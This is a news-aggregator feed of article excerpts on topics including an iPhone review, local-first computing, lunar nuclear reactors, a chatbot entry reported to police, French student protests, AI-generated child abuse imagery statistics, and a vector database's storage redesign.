The new A20 Pro chip is super fast, but you can’t really notice the difference day to day, as previous iPhone chips have already been very quick. The extended battery life is great, but most people will still have to charge it every other day. The smaller camera cutout in the dynamic island now shows three continuing activities instead of two. Even the variable aperture in the main camera makes only a small difference to image quality unless you’re really trying to get creative.

The screen is fantastic and big enough. The aluminium body feels great to hold. The cameras are some of the best on a phone and even Siri is better now.

All of these things add up. The 18 Pro is without doubt the best iPhone ever made and at this size is one of the very best smaller phones available. It’s just not a transformative change unless you’re upgrading from a much older model and it now costs even more thanks to RAMageddon.

Pros: relatively compact, great screen, better dynamic island, longer battery life, great cameras, variable aperture, USB-C, top performance, long software support, Face ID, better AI.

Cons: small upgrade on last year, expensive, heavier than previous model, AI tools still lag behind top competitors.

You're Leaving Compute on the Table

Lobsters
nishantjosh.dev
2026-10-05 01:56:11
Comments...
Original Article

There are six computers on my table right now.

My desk right now

All of them are awake. None of them are working. The hardest job any of them will do in the next hour is draw a spinner: waiting on a machine in Virginia to finish work whose every input is already sitting on this desk.

This desk is not unusual. Whoever your customers are, something like it is sitting in front of them. And for the most part, what’s on mine is more than capable of serving me.

Let’s look at what we have here:

Device GPU (FP32) Neural Memory Bandwidth
MacBook Pro 14” (M4 Pro, 20-core GPU) 8.6 TFLOPS 38 TOPS 24 GB 273 GB/s
Mac mini (M4, 10-core GPU) ~4.4 TFLOPS 38 TOPS 16 GB 120 GB/s
iPhone 15 (A16, aka the camera) ~1.8 TFLOPS 17 TOPS 6 GB ~51 GB/s
AirPods Pro 2 (H2 ×2, plus one in the case) ~GFLOPS/ear - - -
Total ~15 TFLOPS 93 TOPS 46 GB ~440 GB/s

All of this sits on my table and draws roughly 100 watts under load, about as much as an incandescent lightbulb.

For perspective: the Apollo Guidance Computer ran at roughly 85,000 instructions per second, with 4 KB of RAM, and weighed almost 32 kilograms. Deep Blue reached about 11 GFLOPS. The ~15 TFLOPS on this table would have been the fastest supercomputer on Earth in 2001. Compute that once required a room, a government, or a world-champion chess match now sits in the general-purpose devices I use to watch cat videos.

The Waste

Almost nothing I do each day touches the ceiling of this hardware.

Yet every time I open X, I see another product launching online that could, or should, run locally. I’ve shipped these too.

It takes data and context already on my computer, sends them to a machine in Virginia, performs the work there, and sends the result back. The builder pays to create another execution environment; the customer already has one.

That duplication is the waste. Not every HTTP request. Not every server. Work whose data and context already live on the user’s machine, the machine sitting right in front of the person who wants the result.

Sun Microsystems spent two decades telling the industry that “the network is the computer.” The industry finally believed it, right as it stopped being true. The network is the phone book. The computer is the computer.

The internet gives people a permanent, addressable presence. It lets parties discover one another, communicate, and establish shared state.

Servers exist so parties can find each other and agree on what’s true. Everything else is waste.

Servers are excellent at coordination, authority, persistence, and work too large for the client. But computation should have to earn its trip across the network.

Software that runs locally is cheaper to build on and easier to trust. And it keeps working when the internet doesn’t.

Where This Breaks

“Zero marginal cost” is true for compute, not for engineering. Client-side software means a larger testing matrix, hostile machines, weak devices, and need for a robust update pipeline. The capacity is already paid for; making it dependable is not.

But that price was set a decade ago, when dependable meant a QA lab full of laptops and a hand-rolled updater. Wasm gave us one runtime everywhere; update pipelines are commodity; the testing matrix is exactly the kind of grunt work models now do. Most builders are working from a quote they never re-requested.

Some work belongs on a server. People want data synced across devices. Providers cannot trust clients to report billing honestly. Old and weak devices still exist. Long-running tasks should survive a closed laptop. Google Docs beat desktop Office on zero install, no data loss, and access from any device. And frontier models are unlikely to fit on your machine anytime soon.

Those are not edge cases. They are the boundary of the argument. The only question is which side of that boundary your product actually sits on. Checked, not assumed.

The Architecture Already Exists

But games never had the luxury of ignoring the client. Physics forced the architecture: a data center can stream frames, but latency is a law of physics, and you don’t get to repeal physics. So game developers put latency-sensitive physics, rendering, and interaction on the player’s machine, while servers arbitrate the shared world: who is where, who hit whom, and what counts as true.

The client computes. The server coordinates.

Nothing about that split is specific to games. Figma’s renderer was written in C++, compiled to WebAssembly, and runs in the browser. The server handles the shared document and collaboration. It does not draw every rectangle in us-east-1 and mail the pixels back.

And now there is Claude Code, Codex and Cursor. The model may live on a server, but the harness lives where the code, tools, credentials, and developer already are. The server streams intelligence; the client gives it hands.

That is the form factor people like because it does not pretend the computer in front of them is a dumb terminal.

AI has made the old mistake expensive enough to notice again. Builders now pay per second for cloud sandboxes that poorly imitate a laptop: cloning repositories, rebuilding environments, copying secrets, and reconstructing context that already exists on the user’s machine.

Sometimes that is the right trade. Background agents need persistence. Untrusted code needs isolation. Large jobs need hardware the customer does not own. But “put the harness in the cloud” should be a conclusion, not a default.

So the answer to “what should we do about it” is a default, not a product. When you design the next feature, sort the work into two piles: state that other parties must agree on, and everything else. The first pile earns a server. The second pile already has a computer: the one your customer is looking at.

Notice what the first pile keeps: identity, billing, the source of truth. Everything you actually charge for. Moving the compute doesn’t move the meter.

Take the last feature you shipped. Which pile did most of the work sit in, and which pile did you build it in?

Consumer hardware has become absurdly capable. The industry has treated that capability as somebody else’s problem.


The photo at the top of this essay hasn’t changed. Six computers, maybe 100 watts. Tomorrow they will spend most of the day displaying spinners, waiting on Virginia for work they could do themselves.

Sunday Science: Superpowers Race To Put Nuclear Reactors on the Moon

Portside
portside.org
2026-10-05 01:54:56
Sunday Science: Superpowers Race To Put Nuclear Reactors on the Moon Ira Mon, 10/05/2026 - 01:54 ...
Original Article

The countries plan to turn on their reactors only after they reach the moon. But some leading scientists caution that governments are moving too quickly in an era of space exploration that has seen some notable disasters. In the last six years, multiple Chinese, American and Russian rockets have failed and exploded, and a Russian lander has crashed into the moon. Space junk regularly tumbles to Earth.

Several SpaceX and Blue Origin rockets have exploded in recent years.

Failures could cause a chain reaction with dire consequences. Falling reactor debris could scatter radioactive material, as happened in Canada in the late 1970s. An explosion or a meltdown on the moon’s surface would risk turning entire regions into no-go zones.

“There will always be a space race going on, and if you enter nuclear power into that mix, then it could take a potentially more dangerous turn,” said Edwin Lyman, the director of nuclear power safety at the Union of Concerned Scientists.

A review of technical specifications, procurement documents and academic research, along with interviews with industry insiders, government officials and critics, offers the clearest picture to date of how China, Russia and the United States are pursuing this nuclear ambition.

The records also help explain a key aspect of the Chinese-Russian space partnership, an alliance championed by Presidents Xi Jinping and Vladimir V. Putin.

Nuclear power appears to be the only core task that China has delegated to its partner in the lunar project. No country has more experience than Russia in this area. It launched more than 30 reactors into orbit, mostly in the 1970s and 1980s, aboard Cold War-era satellites, and it is a leader in civilian nuclear power. Russia controls the largest supply of what is considered the safest nuclear fuel for space missions. That fuel, uranium that is not highly enriched, is in short supply in the United States.

“Russia has practically no competitors in the field of space nuclear energy,” Mikhail Kovalchuk, the president of Kurchatov Institute, told the Russian news agency TASS . Kurchatov, a research agency, is helping design a lunar reactor.

NASA is playing catch-up. The agency launched a reactor in 1965 but shut it down after an unrelated spacecraft failure. The United States has spent more than $20 billion on space nuclear programs since then but has never deployed another reactor.

The race for a lunar reactor is as much a spectacle of power as it is a matter of exploration. President Trump has declared superiority in space to be part of his “America First” agenda. Mr. Xi and Mr. Putin have made similar declarations.


Presidents Vladimir Putin of Russia, left, and Xi Jinping of China arriving for a reception in Beijing last year. Jade Gao/Agence France-Presse — Getty Images

Any permanent base on the moon requires reliable power. Nuclear reactors do not need sunlight to work, and they can be compact. With the right design, they require little human intervention, according to NASA and the Kurchatov Institute.

For the first few years, the United States and China would need only enough power to keep equipment warm and to charge rovers, vehicles that roam the surface. For that, they plan to use solar power and radioisotope power systems.

These systems convert heat from the natural radioactive decay of isotopes into electricity. The United States, Russia and China have used the systems in space already.

But an expanded lunar base would need a lot more power than those systems can generate. Solar panels would not work during cold lunar nights that stretch over two weeks of Earth time. Any power system near the moon’s south pole would have to survive temperature swings between 130 and -334 degrees Fahrenheit.

Moscow has tasked its state-owned agencies with delivering a lunar reactor, called Selena, by 2036 to power the lunar stations led by China. Selena would generate up to 10 kilowatts of electricity and be able to operate autonomously for a decade. It would share features with an earlier reactor that was designed to operate in the Arctic.

NASA has accelerated its timeline, fearing that a Russian-Chinese reactor could establish a de facto exclusion zone on the moon. NASA’s Lunar Reactor 1 is expected to produce 20 kilowatts of electricity (roughly the power use of 16 American homes) and work for five years with no intervention.

As a first step, NASA plans to use nuclear power to propel a spacecraft to Mars in December 2028. This has never been done.

In parallel, the Pentagon intends to develop its own space reactors for deployment in orbit and on the moon, according to the White House.

Target dates have repeatedly slipped, and few experts expect the countries to meet their deadlines. Nobody has a proven lander that can lower heavy, potentially radioactive material onto bumpy lunar terrain. Nobody has ever installed a reactor in low gravity.

The moon bases have not been built, and how much electricity they would need is open to speculation. That is why experts say that all or parts of the reactor designs could change.

“Nothing is for certain right now,” said Julien de Troullioud de Lanversin, a nuclear scientist and professor at the Hong Kong University of Science and Technology.

The United States and Russia say their reactors would be inoperative — what scientists call unirradiated — until they arrived on the moon. This would reduce risk. Nuclear engineers say that “cold” uranium fuel poses little radioactive threat even if it tumbles to Earth.

Still, things can go wrong, especially during the controlled explosion of a rocket launch.

“This is the moment when there is a lot of risk,” said Leopold Summerer, who leads a United Nations working group on nuclear power in outer space. “We had many launch failures, so we have a lot of data on what can go wrong.”

Take, for example, a reactor splashing into an ocean. Water slows down neutrons, making them more likely to split atoms. This could cause havoc by making a reactor go critical, meaning it would enter a chain reaction of splitting atoms that releases radiation. The risk is real because most launchpads are near a body of water.


The launch of NASA’s Artemis II at Kennedy Space Center in Florida in April. By 2028, NASA plans to use nuclear power to propel a spacecraft to Mars, which has never been done.Credit...Cassandra Klos for The New York Times

Nuclear experts say this probably happened in Russia in 2019, when a reactor-powered cruise missile failed and plunged into the White Sea. When researchers tried to recover it, a nuclear reaction occurred, according to the U.S. Department of State. At least five workers died. (Russia denied these claims and said the missile was not powered by a reactor.)

NASA’s specifications call for a design that can prevent this outcome. Rosatom, Russia’s state-owned nuclear energy company, declined to comment, saying its space program was classified. The Kurchatov Institute, which is in charge of the science, and Roscosmos, in charge of the Russian space program, did not respond to questions. The Chinese Ministry of Foreign Affairs and the China Manned Space Agency did not respond to questions, either.

The other risk is a malfunction that could bring the reactor back to Earth after operation. In 1978, the uncontrolled re-entry of a Russian nuclear-powered satellite, Kosmos 954, scattered radioactive matter across nearly 48,000 square miles of Canada’s north. After about a year of cleanup, only 0.1 percent of the satellite’s power source was recovered.

In the United States, any space reactor is supposed to be reviewed by experts from seven agencies. But it is impossible to rule out accidents.

“The definition of an accident is things don’t go according to plan,” R. Scott Kemp, an associate professor of nuclear science and engineering at the Massachusetts Institute of Technology, said.

Dr. Kemp said accidents were more probable on the moon.

On Earth, reactors are cocooned inside containment structures, which would be extremely expensive and technically challenging to build on the moon. NASA has said its reactor would be shielded, though it is unclear how. The lunar reactors would likely be ringed by no-go zones to reduce radiation risk for astronauts and machines, experts said.

With little containment, even smaller accidents would produce much more radioactive fallout, Dr. Kemp said. There is no wind on the moon but, with less gravity, debris can travel far after an explosion.

On Earth, when a reactor reaches the end of its life, decommissioning is a complicated, careful process that takes years. On the moon, both NASA and the Russian agencies say they would simply leave the radioactive material behind.

“On a race, they don’t want to be bothered with a difficult problem that nobody has a solution for,” Dr. de Troullioud, the nuclear scientist in Hong Kong, said.

In all its technical and procurement documents, NASA says it would use a nuclear fuel that is not highly enriched and is regarded as safest for advanced reactors.

But some experts say geopolitics and a tight deadline could complicate matters.

The last space reactor NASA tested, in 2018, used highly enriched uranium, which is lighter and cheaper to launch than other fuels. But the first Trump administration discouraged using this fuel because it could end up as a nuclear weapon.

Now, NASA wants to use a fuel known as high-assay low-enriched uranium, or HALEU, which is in short supply in the United States. Russia is the biggest producer, but the United States has banned Russian uranium imports since 2024 because of the war in Ukraine.

NASA documents show that it expects the Department of Energy to allocate low-enriched fuel for space reactors. But the government itself has struggled to produce enough fuel.


A facility established to produce high-assay low-enriched uranium. or HALEU, in Piketon, Ohio, in 2023.Credit...Brian Kaiser for The New York Times

The Russian-Chinese alliance has not disclosed what type of fuel would be used. Russia’s older space reactors used highly enriched fuel

“It doesn’t take anything more than a machine shop and a little bit of high explosive to turn this into a very credible weapon,” said Representative Bill Foster, Democrat of Illinois, a physicist who successfully discouraged the use of highly enriched uranium in space reactors.

At least one potential bidder for NASA’s lunar reactor contract, Space Nuclear Power Corporation, is developing a reactor using highly enriched uranium. A company founder declined to comment, “given the competitive nature” of the upcoming projects.

The U.S. space program could be a boon for companies that make microreactors, which can generate up to 10 megawatts of electricity. These expensive reactors are too small to meet the energy demands of data centers, but they have found a niche business in space and military applications.

Last month the Pentagon selected a company, Antares, to develop and demonstrate a microreactor for space. Antares was among five companies that successfully tested reactors this summer under a program run by the Department of Energy. The company said it would bid for NASA and Pentagon contracts for lunar reactors.

Microreactors may eventually end up on the moon, but none are proven and ready. Fundamental safety questions — how to get rid of heat, how to shield the reactor, how to maintain the structural integrity — have not been fully resolved for space reactors, which must be compact and light.

“It is entirely feasible to put a reactor on the moon,” said Katy Huff, who leads the department of nuclear engineering and engineering physics at the University of Wisconsin-Madison. But the more power needed, she said, the more challenging reactors are to build.

For all the elbowing to get there first, Dr. Huff said governments had accomplished more by working together than by competing.

“I want to see more collaboration internationally in space,” she said. “That is where collaborative team science has ascended beyond our grumpy international politics.”


Selam Gebrekidan is an investigative reporter for The Times based in Hong Kong.

Play ESCAPE ROOM - Flu Vaccines & the 65+ Patient.(From Unbiased Science)

Kernel prepatch 7.3-rc6

Linux Weekly News
lwn.net
2026-10-05 01:47:41
The 7.3-rc6 kernel prepatch is out for testing. Linus said: Next week might look a bit different: we've got the annual maintainer summit and the Linux plumbers conference going on , so I'll be on the road, as will a number of other maintainers. That may or may not end up changing the stats fo...
Original Article

Copyright © 2026, Eklektix, Inc.
Comments and public postings are copyrighted by their creators.
Linux is a registered trademark of Linus Torvalds

Anthropic reported diary entry to police, woman faces felony charge

Hacker News
www.techspot.com
2026-10-05 01:37:40
Comments...
Original Article

Serving tech enthusiasts for over 25 years.
TechSpot means tech analysis and advice you can trust .

What just happened? Another incident has taken place that illustrates the need to be careful what you tell AI. A Florida woman is facing felony charges after she used Claude as a diary and allegedly wrote that she planned to "shoot up" the Sheriff's office. After a human reviewer examined the statements, they were reported to police.

According to the arrest report , Carli Michelle Heller, of Bonita Springs, Florida, wrote on September 26 that she would attack the Sheriff's office. She later said that she uses Anthropic's chatbot like a "diary."

Claude's safety systems flagged the entry and it was escalated to a human reviewer. After deciding it was a credible threat, the reviewer reported it to law enforcement.

The company says it may share user information in limited emergencies if it believes disclosure is necessary to prevent death or serious physical injury.

Deputies identified Heller and visited her home. She was detained without incident before an LCSO intelligence detective took over the investigation.

Heller faces a charge of making a written threat of violence under Florida law. Florida Statute 836.10 makes it a second-degree felony to send, post, or transmit a written or electronic record threatening to kill or injure someone, carry out a mass shooting, or commit an act of terrorism. The communication must be made in a manner in which another person may view it.

Anthropic isn't going to be taking any chances when it comes to anything it deems a potential threat. Last month, it was reported that OpenAI and Sam Altman are being sued by British Columbia over claims that the company could have prevented a mass shooting in the Canadian province.

The shooter, eighteen-year-old former pupil Jesse Van ⁠Rootselaar, had previously been flagged by OpenAI's safety team for her conversations about gun violence, but OpenAI never alerted police because the conversations did not meet the threshold for legal referral.

In June, Florida also sued OpenAI and Altman, alleging that ChatGPT had contributed to real-world harms, including the 2025 Florida State University shooting.

The latest incident is another reminder to think before you enter something into a chatbot that could get you into trouble. It's certainly not a private diary whose contents are for your eyes only.

Reports last month revealed that human contractors reviewing Microsoft Copilot's image editor can see users' prompts, uploaded photos and AI-generated edits. Documents show that some of those assignments contain sexual, disturbing or potentially illegal material, though the reviewers are not there to flag the content – only to assess whether the output is accurate.

Why French Students Are Revolting

Portside
portside.org
2026-10-05 01:35:39
Why French Students Are Revolting Ira Mon, 10/05/2026 - 01:35 ...
Original Article

The elephant in French classrooms, as just about anyone who has recently taught or studied in the country’s education system will tell you, is stretched resources. Classes are filled to the brim, with teaching increasingly delegated to intermittent instructors. Behind the façade of “ Liberté, Égalité, Fraternité ”—the republican promise emblazoned on each public school building in the country—stand deteriorating buildings, squalid facilities, poorly stocked libraries, unreliable IT, if any, and outnumbered critical support staff like nurses and counselors. Videos circulating on social media from students’ accounts document the most disastrous conditions: rats running around across the hall; collapsing ceilings; walls leaking with humidity; broken doors and dysfunctioning lighting in bathrooms.

Frustrations with this untenable status quo started to boil over in late September, only three weeks into the new academic year. The first sparks emerged on September 17 at the Lycée Saint-Exupéry, where striking teachers were joined by students who attempted a blockade of the school facilities.

They were soon joined by other students in the greater Paris area, most notably at the Lycée Paul Éluard in Saint-Denis, a diverse, working-class suburb north of the capital, who also launched a blockade on September 25. Less than a week later, their demonstration had spread to over 1,000 high schools across the country—more than a quarter of total establishments—crystallizing the social malaise of an entire generation.

Reacting to what was rapidly taking on the scale of a national crisis, President Emmanuel Macron intervened on Wednesday during a state visit to Madrid. “I understand the anxieties and anger that our youth might feel, whether that’s related to the climate, new technologies, or geopolitical tensions,” he said during a press conference. “However, none of these fears justify violence.”

The scope of the protests is perhaps best summed up in the clampdown that has followed, as media and government figures alike harp on the exceptional incidents of violence, such as the burning of Lycée Nelson Mandela in Nantes. On October 1 alone, nearly 2,000 people were arrested, with scores of schools now closed by administrative order and conducting online courses, in an effort to mitigate the effects of the blockades. As of Friday afternoon, however, the situation shows few signs of slowing down. A day of national mobilization and strikes is called for October 6.

The scene on Friday morning outside the Lycée Lucie Aubrac in Pantin, a suburb northeast of Paris, was typical of the French students’ revolt.

Though their school was closed by administrators, some students gathered outside the shuttered gates as early as 7:30 am . “Nobody listens to us,” said Lila, a high school senior. “Last year we didn’t have a math teacher for over seven months.”

Though the gathering was entirely peaceful, our interview was interrupted when a group of police officers started charging the students at around 8:45 am . Quickly, students started running, escaping the tear gas out of fear of the brutality that they have seen put to full force in schools elsewhere. Lila had on her mind, for example, the 16-year-old who on Thursday was shot in the eye with a rubber bullet in the nearby suburb of Argenteuil. On September 28, a rubber bullet also shattered the teeth and jaw of a 14-year-old boy in Saint-Ouen, just north of Paris.

“The level of violence we’re witnessing from the police is traumatizing,” said Lila. “We’re only minors here, children trying to have our voices heard.” In the eastern French city of Troyes, protesters filmed an unmarked police car driving at high speed between a crowd of students as officers sprayed tear gas from the windows.

For students in places like Pantin, or other disadvantaged banlieues , or suburbs, across France, the reaction to their mobilization feeds into the lingering sense of being relegated to a second-class status, problems to be managed rather than citizens deserving an opportunity to a decent education. To them, the police mobilization recalls the clampdown in response to the rioting that followed the 2023 killing of Nahel , a 17-year-old shot during an altercation with police in the Paris suburb of Nanterre.

A few kilometers to the south of Pantin, the Lycée Voltaire in Paris was also among the over 400 establishments closed on Friday. Several hundred students were gathered from the early hours of the morning, outside a barricade of trash cans and repurposed street fences blocking the doors to the storied 11th arrondissement high school. The peaceful protesters were greeted by solitary honks from motorists and truck drivers along the Avenue de la République.

For high schoolers at a place like Voltaire—though not one of the capital’s most elite schools—their demonstration was in part out of solidarity with the suburbs. “We’re relatively privileged here in Paris and know that the gap remains enormous between our school’s conditions and those found in high schools in the banlieues ,” said Charly, a senior at Lycée Voltaire.

Still, the school is not spared from the broader problems afflicting French education. Students The Nation spoke to attested to packed classrooms and overworked teachers. Louis, also in his final year, denounced a “chronic lack of resources for the National Education ministry.” According to the ministry’s own figures, some 20 million class hours went untaught in the 2024–25 academic year. Louis, for example, said that his Spanish class last year was simply canceled for nearly an entire term, “without any substitute ever being appointed.”

The education budget is expected to grow by a little over €800 million in the 2027 fiscal year, not enough to compensate for inflation. In fact, next year’s budget, introduced on October 1, is slated to see permanent teacher rolls decline by 1,500 posts. A similar squeeze is felt in the university system. A 2024 study from economists Thomas Piketty and Lucas Chancel estimated that in real terms between 2017 and 2023 the annual budget for higher education declined by nearly 15 percent per student enrolled. “The army budget grows year after year, but for education we’re trapped in stagnation,” remarked Louis. In its 2027 budget outline, Prime Minister Sébastien Lecornu is seeking €54 billion in savings, although an additional €6 billion has been earmarked for the armed forces.

Another thing that unites just about all high schoolers is a shared frustration with the university selection system instituted at the beginning of Macron’s presidency. Known as Parcoursup, the digital platform introduced in 2018 has become infamous for its glitches and malfunctioning. But it is most decried for the idea of education it stands for, divvying up students along rigidly algorithmic lines, often discounting a candidate’s preferences about their intellectual and career interests and even geographic location. “You can be sent across the country because a computer told you that’s where you’ll study,” said Louis, nostalgic for a period when a student could easily enroll in the university of their choosing. In recent days, students at several universities have also joined in the push for occupations.

There are probably further storm clouds on the horizon for the university system. A senatorial report released in early September called to turn the page on the principle of free and open public universities for all.

With ideas like that circulating—and liable to be picked up in 2027 should a figure from the conservative establishment or the far right accede to power—it’s little wonder that the sentiment prevalent for France’s rising generation of students is that of a stolen future. Looking around them, they know that their school system, once considered the foundation of a republican society, has grown increasingly undemocratic and more segregated.

As the straitjacket of reduced budgets comes to dominate the national debate, the main political reaction to the mounting protest movement has been foot-dragging. In one apparent concession, Education Minister Édouard Géffray withdrew on Thursday a proposal that would have seen the levying of registration fees for certain post–high school trade schools and preparatory classes to France’s selective “Grandes Écoles.”

Otherwise, government figures and leaders of the right-wing opposition are decrying alleged outside agitators and seeking to pin the blame on a culture of protest prevalent among French youth. Far-right stalwart Marine Le Pen even broached the idea of a new anti-rioting law. “It’s a grave mistake that the media only harp on the rare images of violence,” remarked Charly, from Lycée Voltaire. “We’re portrayed as savages who only know how to burn trash bins.”

La France Insoumise (LFI), the leading left-wing opposition party, led by Jean-Luc Mélenchon, has also become a favored target of the backlash. Mélenchon called on LFI elected officials to “step in” between students and riot police, before urging for protests to remain nonviolent. The mainstream media has otherwise fixated on images of the LFI mayor of Saint-Denis, Bally Bagayoko—who had intervened to drag a burning trash can away from the gates of the Paul Éluard high school on Monday—as proof of LFI rabble-rousing. Bruno Retailleau, leader of the conservative Les Républicains, even called for the party’s banning, seven months from the presidential election.

But evasions like this will do little to calm the anger that has spilled out in the open in recent days—and it will do nothing to address the root causes of the crisis in French education.

“For now, this is a struggle led by and for young people, but we hope that unions will join and that this will expand into a broader national battle,” said Louis, the senior from Lycée Voltaire. Meanwhile, eyes remain fixed on the possible revival of a “ yellow vest ”–style movement starting on October 17. Macron’s government is no doubt aware that France has a long history of student protests snowballing into far larger social movements.


June Loper is a Franco-American journalist and sound artist, working in radio and print, with a focus on environmental and social justice struggles.

Copyright c 2026 The Nation . Reprinted with permission. May not be reprinted without permission . Distributed by PARS International Corp .

Founded by abolitionists in 1865, The Nation has long believed that independent journalism has the capacity to bring about a more democratic and equitable world. Our writers shift paradigms and open minds. Our deep investigative reporting launches congressional hearings, forces policy change, and shapes news cycles. Instigating progress: It’s not only our legacy, it’s our continued commitment to future generations of torchbearers.

Subscribe to The Nation Donate to The Nation

Replacement of petroleum based products with plant-based materials (2025)

Hacker News
onlinelibrary.wiley.com
2026-10-05 01:09:43
Comments...

Internet Watch Foundation reports huge rise in AI child sexual abuse material

Guardian
www.theguardian.com
2026-10-05 01:00:49
Abuse material monitor says number of AI images assessed this year is already 40% higher than last year’s total AI-generated child sexual abuse material is proliferating online, with the amount of illegal material investigated this year already exceeding the total for 2025. Analysts at the Internet ...
Original Article

AI-generated child sexual abuse material is proliferating online, with the amount of illegal material investigated this year already exceeding the total for 2025.

Analysts at the Internet Watch Foundation have found more photorealistic child sexual abuse material in the first half of 2026 than for the whole of the prior year. The UK-based IWF, which monitors abuse material globally, said it had assessed 6,310 AI images that met the legal definition of child sexual abuse, 40% higher than last year’s total of more than 4,500.

Instances of AI-made child sexual abuse material have been rising for several years, with a huge surge in videos in particular , although the latest IWF figures refer to still images only. The majority of the images seen by analysts were of girls, and of children aged seven to 13.

The IWF said the figures underlined the need for new statutory regulation on AI.

Andy Burnham’s government has not signalled that a new bill focused on the technology is imminent. Kanishka Narayan, the UK’s AI minister, has said “nothing is off the table” in terms of fresh regulation, but that the test for any legislative proposal will be: “Will it make the British people safer?”

Hannah Swirsky, the head of policy at the IWF, said she backed calls from parliamentarians for “binding legislation on AI” to compel companies to build safer models. “It is incumbent on tech companies to build tools which cannot be abused this way,” she said. This problem has been created by technology, and if companies won’t build tools which are safe by design.”

AI-generated child sexual abuse material is illegal in the UK and the government has also made it illegal to adapt an AI model to create abuse material or to distribute such models to others. Developing a model designed to produce hyper-realistic child sexual abuse material carries a criminal sentence of up to five years.

A government spokesperson said: “UK law is clear that child sexual abuse material is illegal, regardless of whether it is AI-generated or not. We are going further by banning AI models that are used to create this type of abuse material and produce sickening, hyper-realistic imagery that often contains the likeness of real children.”

AI has also enabled online predators to create explicit images of children. The Report Remove service, which blocks intimate images from appearing online, has received 420 reports from children concerning images of themselves that they believed had been faked or manipulated to appear explicit. The number has already exceeded its 2025 total of 397.

The use of AI tools to create abuse tools has led to the National Crime Agency and IWF encouraging parents and guardians to keep pictures of their children off social media. The guidance suggests making social media accounts private or sharing pictures of children through a “close friends” group only.

RIP, vector database

Lobsters
turbopuffer.com
2026-10-05 00:51:15
Comments...
Original Article

September 30, 2026 • Dan Harrison (Engineer)

We are changing turbopuffer's storage architecture to take search to the next level. turbopuffer v3 changes how documents and indexes are laid out, written, compacted, and queried in turbopuffer. It will allow us to make search faster in every respect — including text, regex, and vector search — but it also lays the foundation to move many more SQL queries to turbopuffer and make them fast.

turbopuffer launched as a serverless vector database (v1) , highly specialized to the task of serving extremely cheap and reasonably fast vector searches. Object storage as the source of truth gave the economics, and tiered NVMe SSD/memory caches gave the performance. The value of these particular tradeoffs was validated by our earliest customers, including Cursor and Notion.

turbopuffer evolved to have very strong text and regex search (v2), and is being used for many non-search use cases, like Linear's syncing engine . The query engine has evolved along the way to support all of these query plans, but the storage architecture has remained largely unchanged: the ANN vector index was and still is the primary index around which all other indexes and query plans revolve. This design has constrained several query plans, like GROUP BY and aggregations.

We've pushed the vector-primary architecture as far as we can, and it's time to move on. We're in the process of moving to a new primary index, and making ANN "just another" secondary index. We thought it might be fun to open up the doors and let you follow along.

For this first update, we'll set the stage with why we're doing this in the first place. Walk with me on a short journey from tpuf v1 to today.

v1: an ID and a vector

In the first version of turbopuffer, documents consisted of nothing but an ID and a vector. The prevailing wisdom at the time was graph-based vector indexes, but a hierarchical clustering index plays better with object storage. We started with SPANN , and eventually migrated to SPFresh to support incremental indexing. Vectors are clustered into groups, whose centroids are clustered in turn, repeated to form a tree with a single root.


                      ┌───────────────────┐
                      │   root centroid   │
                      └───────────────────┘
                     ╱          │          ╲
                    ╱           │           ╲
┌───────────────────┐ ┌───────────────────┐ ┌───────────────────┐
│   leaf centroid   │ │   leaf centroid   │ │   leaf centroid   │
└───────────────────┘ └───────────────────┘ └───────────────────┘
      ╱       ╲             ╱       ╲             ╱       ╲
     ╱         ╲           ╱         ╲           ╱         ╲
┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐
│ vector │ │ vector │ │ vector │ │ vector │ │ vector │ │ vector │
└────────┘ └────────┘ └────────┘ └────────┘ └────────┘ └────────┘

      ┌───────────────┐
      │ root centroid │
      └───────────────┘
        ╱     │     ╲
       ╱      │      ╲
┌────────┐┌────────┐┌────────┐
│  leaf  ││  leaf  ││  leaf  │
│centroid││centroid││centroid│
└────────┘└────────┘└────────┘
   ╱  ╲      ╱  ╲      ╱  ╲
┌───┐┌───┐┌───┐┌───┐┌───┐┌───┐
│vec││vec││vec││vec││vec││vec│
└───┘└───┘└───┘└───┘└───┘└───┘

We implemented this on top of a storage layer presenting as a key-value map, with sorted and unique keys. Each cluster is given a ClusterId , and vectors within each cluster are given a dense LocalId .

// leaf vectors
K::Vector(C0L0) = vec![0.45, 0.32, ...]
K::Id(C0L0) = 7
K::Vector(C0L1) = vec![-0.28, 0.96, ...]
K::Id(C0L1) = 13

// cluster centroid for C0 is itself clustered at the next level of the tree
K::Vector(C1L4) = vec![0.64, -0.48, ...]
K::Id(C1L4) = C0

As you can see above, everything is keyed by ClusterId and LocalId (e.g. C0L1 ), which together we call the ANN address . This is what we mean when we say the ANN index is the primary index.

Two new query plans marked the informal transition from turbopuffer v1 → v2: attribute filtering and full-text search.

Attribute filtering

Naturally, customers wanted to be able to add attribute values and filter vector searches on them. To make filtering fast and high-recall , we modeled these as an inverted index that maps an attribute value to the ANN address of the documents that contain it.

K::AttrIndex("family", "Alcidae") -> vec![C0L3, C1L2, C1L3, ...]
K::AttrIndex("genus", "Fratercula") -> vec![C0L3, C1L2, C1L9, ...]

For projections ( include_attributes ), we also stored the document attributes alongside the ID and the vector.

K::Vector(C0L0) = vec![0.45, 0.32, ...]
K::Id(C0L0) = 7
K::Attr(C0L0, "family") = "Alcidae"
K::Attr(C0L0, "genus") = "Fratercula"

BM25 full-text search was another obvious and much-demanded query plan. Similar to attribute search, full-text search works by first finding the documents that have the query term present (commonly called "postings"). For an FTS index, we also include the (term count, document length) metadata necessary for BM25 scoring:

K::FTS("description", "Atlantic") -> vec![(C0L0, 2, 37), (C9L4, 1, 42), ...]
K::Attr(C0L0, "description") -> "A sharply dressed black-and-white seabird with a \
huge, multicolored bill, the Atlantic Puffin is often \
called the clown of the sea. It breeds in burrows on \
islands in the North Atlantic, and winters at sea."

Over time, we've shipped several other index structures and query engines: aggregations , regex search , fuzzy matching , sparse vector search , and attribute ordering — all built around the same vector-primary storage layout.

The problem with a vector primary index

The ANN primary index has largely remained intact until today for one simple reason: it works really, really well for ANN search on object storage. On top of this architecture, we've pushed vector search to single indexes of 100B+ vectors serving 200 ms p99 reads at 1k+ QPS . Any significant change here risks introducing regressions in ANN performance.

However, this layout holds us back from being state-of-the-art for the non-vector query shapes we support, in three main ways: storage amplification, write amplification, and limited vectorization.

Storage amplification

As described above, turbopuffer currently puts the full contents of each document under its ANN address. When there is only one vector, the non-vector data is stored alongside the vector only once.

However, for multi-vector representations of a document, such as document nesting or late interaction, this means we have to duplicate the contents for each vector. This is the reason for some of our more unfortunate limits .

Write amplification

